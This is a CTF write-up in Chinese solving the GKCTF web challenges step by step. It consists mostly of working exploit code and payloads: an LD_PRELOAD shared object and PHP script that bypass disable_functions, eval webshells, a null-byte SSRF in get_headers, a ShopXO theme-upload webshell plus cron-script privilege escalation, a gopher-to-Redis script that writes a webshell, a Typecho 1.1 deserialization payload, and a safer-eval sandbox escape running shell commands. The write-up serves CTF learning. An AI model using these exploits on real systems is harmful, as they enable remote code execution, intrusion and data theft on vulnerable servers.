GKCTF web
原理可能看不太明白,操作步骤尽量写详细一些
CheckIN
唯一做出来的,还是太菜了
知识点
- LD_PRELOAD劫持so
题目源码
<title>Check_In</title> <?php highlight_file(__FILE__); class ClassName { public $code = null; public $decode = null; function __construct() { $this->code = @$this->x()['Ginkgo']; $this->decode = @base64_decode( $this->code ); @Eval($this->decode); } public function x() { return $_REQUEST; } } new ClassName();
可以看到,对传入的参数进行base64解码后执行了eval函数
先来读取一下phpinfo
<?php $c = 'phpinfo();'; echo base64_encode($c); #cGhwaW5mbygpOw== ?>
payload
?Ginkgo=cGhwaW5mbygpOw==
可以看到disable_functions处过滤了很多函数
想到之前极客大挑战做过的那道RCE Me,猜想这里可能要使用LD_PRELOAD劫持so来绕过disable_funtions的限制
先构造shell连接蚁剑,注意,这里是php7,assert没有用了
<?php $b = 'eval($_POST[\'cmd\']);'; echo base64_encode($b); #ZXZhbCgkX1BPU1RbJ2NtZCddKTs= ?>
看到根目录下有一个readflag文件和一个flag文件,一般来说,flag文件是无法直接读取的,要通过调用readflag程序来读取
参考http://0xcreed.jxustctf.top/2019/10/bypass-disable-functions/
bypass.c
#define _GNU_SOURCE #include <stdlib.h> #include <stdio.h> #include <string.h> extern char** environ; //获取环境变量 __attribute__ ((__constructor__)) void preload (void) { const char* cmdline = getenv("EVIL_CMDLINE"); //获取EVIL_CMDLINE的值 int i; //从环境变量中遍历“LD_PRELOAD”的位置,并将其值设为NULL。 //从而使下面的system()正常执行。 for (i = 0; environ[i]; ++i) { if (strstr(environ[i], "LD_PRELOAD")) { environ[i][0] = '\0'; } } // 执行命令 system(cmdline); }
编译
gcc -shared -fPIC bypass.c -o bypass_x64.so
bypass.php
<?php echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>"; $cmd = $_GET["cmd"]; $out_path = $_GET["outpath"]; $evil_cmdline = $cmd . " > " . $out_path . " 2>&1"; echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>"; putenv("EVIL_CMDLINE=" . $evil_cmdline); //设置EVIL_CMDLINE环境变量 $so_path = $_GET["sopath"]; putenv("LD_PRELOAD=" . $so_path); //加载恶意动态库 mail("", "", "", ""); //利用mail函数触发恶意函数,跳转至__attribute__ ((__constructor__))修饰的函数。 echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>"; unlink($out_path); ?>
将bypass.php和bypass_x64.so文件通过蚁剑上传到tmp目录下,直接拖进去就能上传。
然后包含一下bypass.php文件
<?php $a = 'include(\'/tmp/bypass.php\');'; echo base64_encode($a); #aW5jbHVkZSgnL3RtcC9ieXBhc3MucGhwJyk7 ?>
最终payload
?Ginkgo=aW5jbHVkZSgnL3RtcC9ieXBhc3MucGhwJyk7&cmd=./../../../readflag&outpath=/tmp/123.txt&sopath=/tmp/bypass_x64.so
第二种解法:
参考https://www.gem-love.com/ctf/2361.html
前面连shell步骤一样,exp来自https://github.com/mm0r1/exploits
使用php7-gc-bypass
修改一下exploit.php,将readflag的输出结果重定向至/tmp/result.txt文件
将exploit.php文件上传到tmp目录下
包含一下,访问result.txt即可得到flag
<?php $a = 'include(\'/tmp/exploit.php\');'; echo base64_encode($a); #aW5jbHVkZSgnL3RtcC9leHBsb2l0LnBocCcpOw== ?>
?Ginkgo=aW5jbHVkZSgnL3RtcC9leHBsb2l0LnBocCcpOw==
cve版签到
比赛时没做出来
知识点
- cve-2020-7066
get_headers的00截断漏洞
参考https://bugs.php.net/bug.php?id=79329
就是结尾要满足.ctfhub.com,然后调用了get_headers()函数,空字节后面的就被截断了,读取不到
即
http://127.0.0.1%00.ctfhub.com ==> http://127.0.0.1
payload
?url=http://127.0.0.1%00.ctfhub.com
要求要以123结尾
?url=http://127.0.0.123%00.ctfhub.com
老八小超市儿
shopxo模板
网上搜到后台默认密码为shopxo
https://ask.shopxo.net/article/5
登录进去
百度查到shopxo有任意文件上传漏洞,参考http://www.nctry.com/1660.html
在应用商店->主题中下载免费的主题压缩包
在_static_目录中添加一句话木马
<?php @eval($_POST['mech']); ?>
将修改好的主题压缩包上传,位置在网站管理->主题管理->主题安装
使用蚁剑连接
http://463dd30c-13b3-4c9a-aea7-b110bdb8f007.node3.buuoj.cn/public/static/index/default/mech.php
看到根目录下有flag,flag.hint,auto.sh文件
打开auto.sh
看到有一个py文件,每隔60s运行一下这个py文件
打开makeflaghint.py
import os import io import time os.system("whoami") gk1=str(time.ctime()) gk="\nGet The RooT,The Date Is Useful!" f=io.open("/flag.hint", "rb+") f.write(str(gk1)) f.write(str(gk)) f.close()
这个文件我们有写权限,修改一下
修改成
import os import io import time os.system("whoami") gk1=str(time.ctime()) gk="\nGet The RooT,The Date Is Useful!" f = open('/tmp/fla','w') g = open('/root/flag','r') f.write(g.read()) #f.write(str(gk1)) #f.write(str(gk)) f.close() g.close()
等上一分钟即可在/tmp目录下读到flag
参考https://www.gem-love.com/ctf/2361.html
EZ三剑客-EzWeb
知识点
- 内网探测
- ssrf+redis未授权
源码中看到提示
访问一下看到ip地址
尝试在输入框中输入
http://173.24.221.10
抓包爆破一下内网
提示端口
爆破一下端口,发现6379(Redis)端口可用
file被禁,使用gopher
import urllib protocol="gopher://" ip="173.112.190.11" port="6379" shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n" filename="shell.php" path="/var/www/html" passwd="" cmd=["flushall", "set 1 {}".format(shell.replace(" ","${IFS}")), "config set dir {}".format(path), "config set dbfilename {}".format(filename), "save" ] if passwd: cmd.insert(0,"AUTH {}".format(passwd)) payload=protocol+ip+":"+port+"/_" def redis_format(arr): CRLF="\r\n" redis_arr = arr.split(" ") cmd="" cmd+="*"+str(len(redis_arr)) for x in redis_arr: cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ") cmd+=CRLF return cmd if __name__=="__main__": for x in cmd: payload += urllib.quote(redis_format(x)) print payload
gopher://173.112.190.11:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2431%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A
在输入框里输入生成的payload
之后的payload为
?url=http%3A%2F%2F173.112.190.11%2Fshell.php?cmd=system(%27cat$IFS$9/flag%27);&submit=提交
参考https://www.gem-love.com/ctf/2361.html#EZ%E4%B8%89%E5%89%91%E5%AE%A2EzNode
EZ三剑客-EzTypecho
知识点
- Typecho 1.1反序列化
参考颖奇师傅博客https://www.gem-love.com/ctf/2361.html#EZ%E4%B8%89%E5%89%91%E5%AE%A2EzTypecho
exp
<?php class Typecho_Feed { const RSS1 = 'RSS 1.0'; const RSS2 = 'RSS 2.0'; const ATOM1 = 'ATOM 1.0'; const DATE_RFC822 = 'r'; const DATE_W3CDTF = 'c'; const EOL = "\n"; private $_type; private $_items; public function __construct() { $this->_type = $this::RSS2; $this->_items[0] = array( 'title' => '1', 'content' => '1', 'link' => '1', 'date' => 1540996608, 'category' => array(new Typecho_Request()), 'author' => new Typecho_Request(), ); } } class Typecho_Request { private $_params = array(); private $_filter = array(); public function __construct(){ $this->_params['screenName'] = 'system(\'cat /flag\')'; $this->_filter[0] = 'assert'; } } $payload = array( 'adapter' => new Typecho_Feed(), 'prefix' => 'typecho_' ); echo base64_encode(serialize($payload)); ?>
将参数变成
install.php?start=1
添加referer头
http://c08aff97-0736-469b-a066-5b1d93d0ccb4.node3.buuoj.cn/install.php
post参数
__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo2OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NzoiY29udGVudCI7czoxOiIxIjtzOjQ6ImxpbmsiO3M6MToiMSI7czo0OiJkYXRlIjtpOjE1NDA5OTY2MDg7czo4OiJjYXRlZ29yeSI7YToxOntpOjA7TzoxNToiVHlwZWNob19SZXF1ZXN0IjoyOntzOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9wYXJhbXMiO2E6MTp7czoxMDoic2NyZWVuTmFtZSI7czoxOToic3lzdGVtKCdjYXQgL2ZsYWcnKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fXM6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjE5OiJzeXN0ZW0oJ2NhdCAvZmxhZycpIjt9czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfZmlsdGVyIjthOjE6e2k6MDtzOjY6ImFzc2VydCI7fX19fX1zOjY6InByZWZpeCI7czo4OiJ0eXBlY2hvXyI7fQ==
EZ三剑客-EzNode
知识点
saferEval
沙箱逃逸
查看源代码
const express = require('express'); const bodyParser = require('body-parser'); const saferEval = require('safer-eval'); // 2019.7/WORKER1 找到一个很棒的库 const fs = require('fs'); const app = express(); app.use(bodyParser.urlencoded({ extended: false })); app.use(bodyParser.json()); // 2020.1/WORKER2 老板说为了后期方便优化 app.use((req, res, next) => { if (req.path === '/eval') { let delay = 60 * 1000; console.log(delay); if (Number.isInteger(parseInt(req.query.delay))) { delay = Math.max(delay, parseInt(req.query.delay)); } const t = setTimeout(() => next(), delay); // 2020.1/WORKER3 老板说让我优化一下速度,我就直接这样写了,其他人写了啥关我p事 setTimeout(() => { clearTimeout(t); console.log('timeout'); try { res.send('Timeout!'); } catch (e) { } }, 1000); } else { next(); } }); app.post('/eval', function (req, res) { let response = ''; if (req.body.e) { try { response = saferEval(req.body.e); } catch (e) { response = 'Wrong Wrong Wrong!!!!'; } } res.send(String(response)); }); // 2019.10/WORKER1 老板娘说她要看到我们的源代码,用行数计算KPI app.get('/source', function (req, res) { res.set('Content-Type', 'text/javascript;charset=utf-8'); res.send(fs.readFileSync('./index.js')); }); // 2019.12/WORKER3 为了方便我自己查看版本,加上这个接口 app.get('/version', function (req, res) { res.set('Content-Type', 'text/json;charset=utf-8'); res.send(fs.readFileSync('./package.json')); }); app.get('/', function (req, res) { res.set('Content-Type', 'text/html;charset=utf-8'); res.send(fs.readFileSync('./index.html')) }) app.listen(80, '0.0.0.0', () => { console.log('Start listening') });
菜鸟教程https://www.runoob.com/w3cnote/javascript-settimeout-usage.html
setTimeout() 是属于 window 的方法,该方法用于在指定的毫秒数后调用函数或计算表达式。
语法格式可以是以下两种:
setTimeout(要执行的代码, 等待的毫秒数)
setTimeout(JavaScript 函数, 等待的毫秒数)
Nodejs文档
setTimeout 当delay⼤于 2147483647或⼩于1时,则delay将会被设置为1。⾮整数的delay会被截断为整数。
delay = Math.max(delay, parseInt(req.query.delay));
取我们传入的delay的值和预设值中的最大值,当我们传入的值足够大,timeout为1
查看版本
post一个e参数,对传入的参数执行saferEval函数
payload
eval?delay=1000000000000 e=(function(){const process = clearImmediate.constructor("return process;")(); return process.mainModule.require("child_process").execSync("cat /flag").toString()})()
参考https://blog.csdn.net/weixin_43784056/article/details/106354376?fps=1&locationNum=2
另外一种payload,参考https://www.gem-love.com/ctf/2361.html#EZ%E4%B8%89%E5%89%91%E5%AE%A2EzTypecho
const saferEval = require("./src/index"); const theFunction = function () { const process = clearImmediate.constructor("return process;")(); return process.mainModule.require("child_process").execSync("whoami").toString() }; const untrusted = `(${theFunction})()`; console.log(saferEval(untrusted));
eval?delay=1000000000000
e=clearImmediate.constructor("return process;")().mainModule.require("child_process").execSync("cat /flag").toString()